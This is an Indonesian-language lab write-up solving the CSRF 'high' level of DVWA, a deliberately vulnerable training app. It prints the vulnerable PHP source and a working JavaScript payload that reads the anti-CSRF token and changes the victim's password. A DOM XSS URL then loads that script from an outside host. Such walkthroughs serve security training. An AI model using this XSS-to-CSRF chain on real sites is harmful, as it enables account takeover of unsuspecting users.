High

CSRF level High on DVWA

Di bawah ini adalah source-code dari CSRF level high di DVWA.

vulnerabilities/csrf/source/high.php
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Mencari Informasi

Jika kita melakukan inspect element pada level high ini, maka akan terlihat bahwa terdapat parameter user_token yang sengaja disembunyikan oleh developer.

user_token ini akan terkirim ketika kita melakukan request.

Nilai dari user_token ini akan berubah-ubah setiap kali kita melakukan request baru (coba saja refresh). Nilai dari parameter ini nantinya akan divalidasi kecocokannya dengan yang ada di server. Ini lah yang dinamakan Anti-CSRF token yang berfungsi untuk memastikan bahwa request dilakuakan secara sah.

Setelah beberapa hari memikirkan jalan keluar untuk mengatasi masalah ini, akhirnya saya menemukan titik terang ketika membaca salah satu artikel. Untuk menyelesaikan masalah ini kita membutuhkan bantuan dari vulnerability lainnya, yaitu XSS.

Jadi skenarionya, kita akan menjalankan JavaScript melalui XSS untuk mendapatkan nilai dari token tersebut, lalu melakukan CSRF untuk merubah password. WOW! Menjadi pengetahuan baru ini bagi saya. 😅

Melakukan Serangan

Oke dari informasi yang sudah kita dapatkan, kita akan siap melakukan serangan.

Pertama-tama kita akan membuat script JS seperti berikut:

var theUrl = 'http://172.17.0.2/vulnerabilities/csrf/';
var pass = 'pwned';
if (window.XMLHttpRequest){
    xmlhttp=new XMLHttpRequest();
}else{
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        var token = match[1];
        var new_url = 'http://172.17.0.2/vulnerabilities/csrf/?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
        if(!hacked){
            alert('Got token:' + match[1]);
            hacked = true;
            xmlhttp.open("GET", new_url, false );
            xmlhttp.send();  
        }
        count++;
    }
};
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();  

Pastikan URL-nya sudah sesuai dengan kondisi anda.

Selanjutnya kita upload file tersebut ke server yang bisa diakses oleh DVWA (contoh: http://0.0.0.0/xsrf-to-csrf.js). Setelah itu lakukan serangan XSS (sebagai contoh saya menggunakan XSS DOM) dan jalankan script JS yang telah kita buat sebelumnya.

Anda bisa mempelajari serangan XSS DOM di sini.

http://172.17.0.2/vulnerabilities/xss_d/?default=Spanish#<script src="http://0.0.0.0/xsrf-to-csrf.js"></script>

Dan ketika victim menjalankan XSS tersebut, maka script akan mengambil token dan akan melakukan CSRF.

Sekarang kita bisa melakukan login dengan menggunakan password baru, yaitu "pwned". Selamat!

Tetap semangat! Happy Hacking! 🍻

Last updated